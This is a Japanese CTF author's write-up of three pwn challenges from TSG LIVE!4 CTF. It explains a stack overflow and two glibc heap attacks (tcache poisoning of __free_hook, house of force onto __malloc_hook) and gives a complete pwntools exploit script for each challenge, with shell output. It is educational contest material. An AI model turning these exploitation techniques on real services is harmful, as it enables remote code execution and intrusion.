newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 13.0】IfYouWanna/ ShyEEICtan/ KillKirby4Free - TSG LIVE!4 CTF

 

 

 

 

 

 

 

 

 1: イントロ

とある大学にTSGという団体があるらしいが

その団体によってある秋の日に行われたTSG LIVE!4の3日目のイベント TSG LIVE!4 CTF

そこのpwn問題の解説をする

 

問題バイナリ等は以下のリポジトリに全て置いてある

github.com




 

 

冷えちまって申し訳ねぇ。。。






2: IfYouWanna - pwn 100点問題

静的解析

./IfYouWanna: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3278bdb1a0cf46a375c6eb17453bf726c3dd733d, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

 

問題概要

以前までのTSGLIVE CTFでは作問側が張り切りすぎて

時間内に1,2問しか解かれないという現象が発生していた

それだと見てる側も(作問側も)冷えてしまうので

pwn分野には5分位で解ける0点回避問題を入れようと思い、この問題を詰め込んだ

 

まず最初にauth()にてパスワードの入力が求められる

パスワードのもととなるデータはバイナリ中に埋め込んである

 char pw[] = {0x6f,0x1e,0x6a,0x9,0x24,0x41,0x30,0x41,0x2c,0x47,0x20,0xd,0x7d,0x1e,0x6e,0x43,0x35,0x3,0x76,0x1c,0x77,0x5a,0x2f,0x56,0x35,0x6,0x35,0x44,0x3d,0x2};

 

1文字目はpw[0]-2そのまま

n文字目はpw[n-1]とpw[n]のxorから2を引けば出てくる

pwn/revのパスワード系の問題はangrに投げれば一発というものも多々あり

これもangrに投げれば(時間こそかかるものの)解くことができる

だが、正直これくらいならangrに解析させるよりも自分でバイナリを読んでスクリプトを書いたほうが多分早い

 

これによって最後の3文字を除いたパスワードが出てくる

mora+cookie+nan+t4shi+swa11ow=

 

あとはこれらの文字のASCIIコードを足してやると0xACEという値が出てきて、最終的なパスワードは

mora+cookie+nan+t4shi+swa11ow=ACE

 

TSGが誇る凄腕CTFerたちがACEであるという旨のパスワードになっている

 

 

だが先程述べたように

この問題が0点回避用であることと

pwnと銘打っているのに若干のrev要素があるため

正直このauth()はいらなかったかもと反省しております。。。

 

 

それさえ突破すればあとはlibc_baseが与えられており

BoFできるためそれこそ秒で終わる問題でした




それから

僕がややこしいポート番号にしてしまったからか

途中までポート指定の表示が間違っていたのは大変申し訳無い。。。

 




exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "../problem/IfYouWanna"

rhp1 = {'host':"localhost",'port':20002}
rhp2 = {'host':"3.112.113.4",'port':20002}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

onegadgets = [0x4f2c5,0x4f322,0x10a38c]

def exploit(conn):
  conn.recvuntil("password > ")
  conn.sendline("mora+cookie+nan+t4shi+swa11ow=ACE")
  conn.recvuntil(": ")
  libc_base = int(conn.recvline()[:-1],16)
  print("[+]libc_base: "+hex(libc_base))
  conn.recvuntil("> ")

  inp = "y"
  inp += "A"*(0xa8-len(inp))
  inp += p64(onegadgets[1]+libc_base)
  conn.sendline(inp)


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()



結果

[+]libc_base: 0x7f52e086d000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"�R$cat /home/user/flag
TSGCTF{This_is_too_easy_pwn_but_you_got_100_pts_anyway!}
$  





3: ShyEEICtan - pwn 200点問題

静的解析

./ShyEEICtan: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d8d3a96fd55ed07a8c3906317cd3bc8831d65ffa, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled



問題概要

ある大学のEEICという学部のSlackにはEEICたんという課題の締め切りお知らせなどをしてくれるbotがあり

それを題材にした問題

 

ヒープ周りを割と好き勝手できます

最初にtcacheを消費してもう一度freeするとmain_arena+96がヒープに現れるので

EEICたんに予定を表示させてその8byteをリークします

EEICたんは今回凄くシャイになってしまい、最初の8byte分しか教えてくれませんがそれで十分です

 

あとはtcacheのfdを書き換えてfree_hook overwriteすれば終わりですが

その状態でonegadegtに飛ぶとstackのalignの都合上MOVAPSで怒られるので

call [rdi]してくれるgadgetをfree_hookに書いて

freeの引数としてonegadget RCEを入れるという一手間が必要になります

(まぁこの部分のbypass方法は十人十色でしょうが。。。)

 

 

exploit

【訂正20191124:別のexploitになっていたのを正しいものに変更】

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "../problem/ShyEEICtan"

rhp1 = {"host":"localhost","port":20000}
rhp2 = {'host':"3.112.113.4",'port':20000}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

off_arena96_libc = 0x3ebca0
off_free_hook = 0x3ed8e8
off_malloc_hook = 0x3ebc30
onegadgets = [0x4f2c5,0x4f322,0x10a38c]
callrdi_gad = 0x1d45f1

def _add(conn,data):
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil(">")
  conn.send(data)

def _remove(conn,ix):
  conn.recvuntil("> ")
  conn.sendline("2")
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _list(conn):
  conn.recvuntil("> ")
  conn.sendline("3")

def _exit(conn):
  conn.recvuntil("> ")
  conn.sendline("0")

def _edit(conn,ix,data):
  conn.recvuntil("> ")
  conn.sendline("4")
  conn.recvuntil("> ")
  conn.sendline(str(ix))
  conn.recvuntil(">")
  conn.send(data)


def exploit(conn):
  #consume tcache
  for i in range(8):
    _add(conn,"A"*0x10)
  for i in range(1,8):
    _remove(conn,i)
  _remove(conn,0) #generate main_arena+96 on heap
  _list(conn) #leak main_arena+96

  #calc some addrs
  conn.recvuntil("is:\n")
  mainarena96 = unpack(conn.recvuntil(" ...")[:-4])
  print("[+]mainarena96: "+hex(mainarena96))
  libc_base = mainarena96-off_arena96_libc
  print("[+]libc_base: "+hex(libc_base))
  malloc_hook = libc_base + off_malloc_hook
  free_hook = libc_base + off_free_hook
  print("[+]__malloc_hook: "+hex(malloc_hook))
  onegadget0 = libc_base + onegadgets[0]
  print("[+]onegadget0: "+hex(onegadget0))

  #make tcache point to __free_hook and overwrite it with call[rdi]-gadgets,
  #because just calling onegadget is interrupted with MOVAPS!
  #So, just do easy ROP with the argment of free()
  _edit(conn,7,p64(free_hook))
  _add(conn,"C"*0x10)
  _add(conn,p64(libc_base + callrdi_gad)) #gad: call qword [rdi]
  _edit(conn,5,p64(onegadget0))
  conn.recvuntil("> ")
  conn.sendline("2")

  #invoke gadgets and get the shell!
  conn.recvuntil("> ")
  conn.sendline("5")
  sleep(1)
  conn.sendline("ls")
  sleep(1)
  conn.sendline("./flag")



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()



結果

[+]mainarena96: 0x7f1e81d13ca0
[+]libc_base: 0x7f1e81928000
[+]__malloc_hook: 0x7f1e81d13c30
[+]onegadget0: 0x7f1e819772c5
[*] Switching to interactive mode
$ cat /home/user/flag
TSGCTF{EEIC_is_really_really_really_really_really_WHITE!!!}

EEICはとてもとてもホワイトな学科だとのたまっております

 

 

 

4: KillKirby4Free - pwn 300点問題

静的解析

./kill_kirby: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=ed10fd6540e039b9111f7bf54e76831e4c0db4a2, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)



問題概要

この問題を一番最初に考えました

問題自体はそんなに難しいテクニック自体は使っていないのですが

75分というめちゃめちゃ短い時間も考慮すると300点かなぁということです

想定としてはpwnを得意分野とするプレイヤが他の人と分業してこの問題に集中して全時間の2/3を使えば解けるかなぁと言う感じで設定しました

結果、多分誰にも手つけられてないのかな。。。

 

時間あれば放送中に使うかなぁと思っていたスライドを貼っておくので解説はそちらで

 

www.slideshare.net

 

 

 

 

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

###########################################
# I checked if whether this exploit works
# on Linux 4.15.0-65-generic #74-Ubuntu SMP Tue Sep 17 17:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
###########################################



from pwn import *
import sys

FILENAME = "../problem/kill_kirby"

rhp1 = {"host":"0.0.0.0","port":30001}
rhp2 = {'host':"3.112.113.4",'port':30001}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

total_walk = 0
off_libc_arena = 0x3ebc40
off_free_hook = 0x3ed8e8
off_malloc_hook = 0x3ebc30
kirby_is_free = 0x602058

#constraints:
#0:rcx==NULL 1:[rsp+0x40]==NULL 2:[rsp+0x70]==NULL
onegadgets = [0x4f2c5,0x4f322,0x10a38c]
push_gad = 0x000a3f3f

def normal(conn,name,kill=False):
  global total_walk
  total_walk += 1
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  
  if total_walk%6==0 or total_walk%0xa==0:
    conn.sendline("2")
    normal(conn,name,kill)
    return
  
  if kill==True:
    conn.sendline("2")
    return
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.send(name)

def big(conn,name,size):
  global total_walk
  while True:
    if (total_walk+1)%0xa!=0:
      normal(conn,"A",True)
    else:
      break
  total_walk+=1

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.sendline(str(size))
  conn.recvuntil("> ")
  conn.send(name)

def small(conn,name):
  global total_walk
  while True:
    if (total_walk+1)%0x6!=0:
      normal(conn,"A",True)
    else:
      break
  total_walk+=1

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.send(name)

def rename(conn,ix,name):
  conn.recvuntil("> ")
  conn.sendline("4")
  conn.recvuntil("> ")
  conn.sendline(str(ix))
  conn.recvuntil("> ")
  conn.send(name)

def showlist(conn):
  conn.recvuntil("> ")
  conn.sendline("2")

def delete(conn,ix):
  conn.recvuntil("> ")
  conn.sendline("3")
  conn.recvuntil("> ")
  conn.sendline(str(ix))


def exploit(conn):
  global total_walk
  global kirby_is_free

  #leak heap addr
  small(conn,"A"*8)#1
  normal(conn,"B"*8)#2
  rename(conn,1,"A"*0x50) #overwrite next size as side-effect
  showlist(conn)
  conn.recvuntil("A"*0x50)
  heap_addr = unpack(conn.recvuntil(" ")[:-1].ljust(8,'\x00'))
  print("heap_addr: "+hex(heap_addr))

  #prepare for leak of &main_arena+96
  small(conn,"C"*8)#3 #used to adjuscent name chunk with name chunk

  #house of force and make chunk around stdout
  small(conn,"D"*0x48+p64(0xffffffffffffffff))#4
  top = heap_addr+0x200+0x31 #top addr after malloc of kirby structure
  print("top: "+hex(top))
  print("req malloc size(usr): "+hex(0xffffffffffffffff+kirby_is_free-top-0x30))
  print("intended addr: "+hex(0xffffffffffffffff+kirby_is_free-top-0x30+top)+"\n")
  big(conn,"X",kirby_is_free-top-0x30)#5 #house of force(@stdint+0x8==sz)
  normal(conn,"A"*0x10)#6 #overwrite kirby_is_free(total_walk woudn't change)



  #back to valid heap area with house of force again
  small(conn,"D"*0x48+p64(0xffffffffff00001))#7
  top = 0x602140 + 0x30 #top addr after malloc of kirby structure
  print("top: "+hex(top))
  target_heap = heap_addr + 0x280
  print("target_heap: "+hex(target_heap))
  #big(conn,p8(0),top - target_heap + 0x20) #made mistake and waste 4days!!!!!!
  big(conn,"E"*8,target_heap - top + 0x20) #8
  
  #leak libc base
  normal(conn,"F"*8)#9
  small(conn,"G"*8)#10->9
  delete(conn,9)
  big(conn,"H"*8,0x450)#10 #this kirby's name chunk is next to name chunk of small kirby!!
  small(conn,"I"*8)#11->10 #avoid malloc_consolidate() and third house of force later
  delete(conn,10) #generate main_arena+96 in heap
  
  rename(conn,9,"K"*0x48+p64(0xffffffffffffffff)) #padding
  showlist(conn)
  conn.recvuntil("K"*0x48)
  conn.recv(8)
  main_arena = unpack(conn.recvuntil(" ")[:-1].ljust(8,'\x00'))-96
  print("[+]main_arena: "+hex(main_arena))
  libc_base = main_arena - off_libc_arena
  print("[+]libc_base: "+hex(libc_base))
  onegadget1 = onegadgets[1]+libc_base
  onegadget0 = onegadgets[0]+libc_base
  onegadget2 = onegadgets[2]+libc_base
  print("[+]onegadget1: "+hex(onegadget1))
  free_hook = off_free_hook + libc_base
  malloc_hook = off_malloc_hook + libc_base
  print("[+]free_hook: "+hex(free_hook))
  print("[+]malloc_hook: "+hex(malloc_hook)+"\n")

  rename(conn,9,"K"*0x48+p64(0x461)) #rewrite unsorted chunk's size into valid

  #consume unsorted chunk(sz==3e1)
  for i in range(0x3e1/(0x30+0x60) + 2):
    normal(conn,"+"*8)

  #overwrite malloc_hook with house of force
  rename(conn,10,"L"*0x48+p64(0xffffffffffffff01)) #overwrite top's size
  top = heap_addr + 0x8a0 #+ 0x30 #this time, kirby structure is pick up from remained unsorted
  print("top: "+hex(top))
  print("malloc req size(usr): "+hex(0xffffffffffffffff+free_hook-top-0x20))
  big(conn,"M"*8,malloc_hook - top - 0x20) #now top is on __malloc_hook

  #(now, the remain of unsorted(small) chunk is 0x40,
  # therefore, smallkirby chunk is pick up from small bin,
  # and name chunk is the very on malloc_hook!!!)
  small(conn,p64(onegadget2))

  #get the shell!
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.sendline("1")
  sleep(1)
  conn.sendline("ls")
  sleep(2)
  conn.sendline("cat ./flag")



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()



結果

heap_addr: 0xbfc2c0
top: 0xbfc4f1
req malloc size(usr): 0xffffffffffa05b36
intended addr: 0x10000000000602027

top: 0x602170
target_heap: 0xbfc540
[+]main_arena: 0x7fe2559dec40
[+]libc_base: 0x7fe2555f3000
[+]onegadget1: 0x7fe255642322
[+]free_hook: 0x7fe2559e08e8
[+]malloc_hook: 0x7fe2559dec30

top: 0xbfcb60
malloc req size(usr): 0x100007fe254de3d67
[*] Switching to interactive mode
You inhaled kirby!
$ 
$ cat /home/user/flag
TSGCTF{Kirby_is_the_symbol_of_PEACE!}





5: アウトロ

 

f:id:smallkirby:20191124170210p:plain

 

f:id:smallkirby:20191124170246p:plain

 

zer0ptsの皆さんありがとうございます。。。

ちゃんと点数取れるってことの証明をしていただけてありがたいです。。。

 

 

冷えちまって申し訳ねぇ。。。

最初に両チームとも100点問題を5分くらいでsolveしていたので

このスピード感たまんねぇなと思っていたら

そのまま1,2solveで止まってしまいました

 

やっぱこういう場だと余計な小細工は無しにして

全問正解前提の問題をタイムアタック的に解いてもらうのが一番興奮するんだと思い、反省しました

(でも本心をいうとIfYouWannaは秒とは行かなくても10分以内に解いてほしかった。。。)

 

 

世知辛い世の中だ

 

 

 

 

 

 

 

 

 

 

 

 

おい!お前今週ヘビーな試験2つあるだろ!

課題もあるだろ!

早く学科の勉強しろ!

 

 

 

 

 

 

続く・・・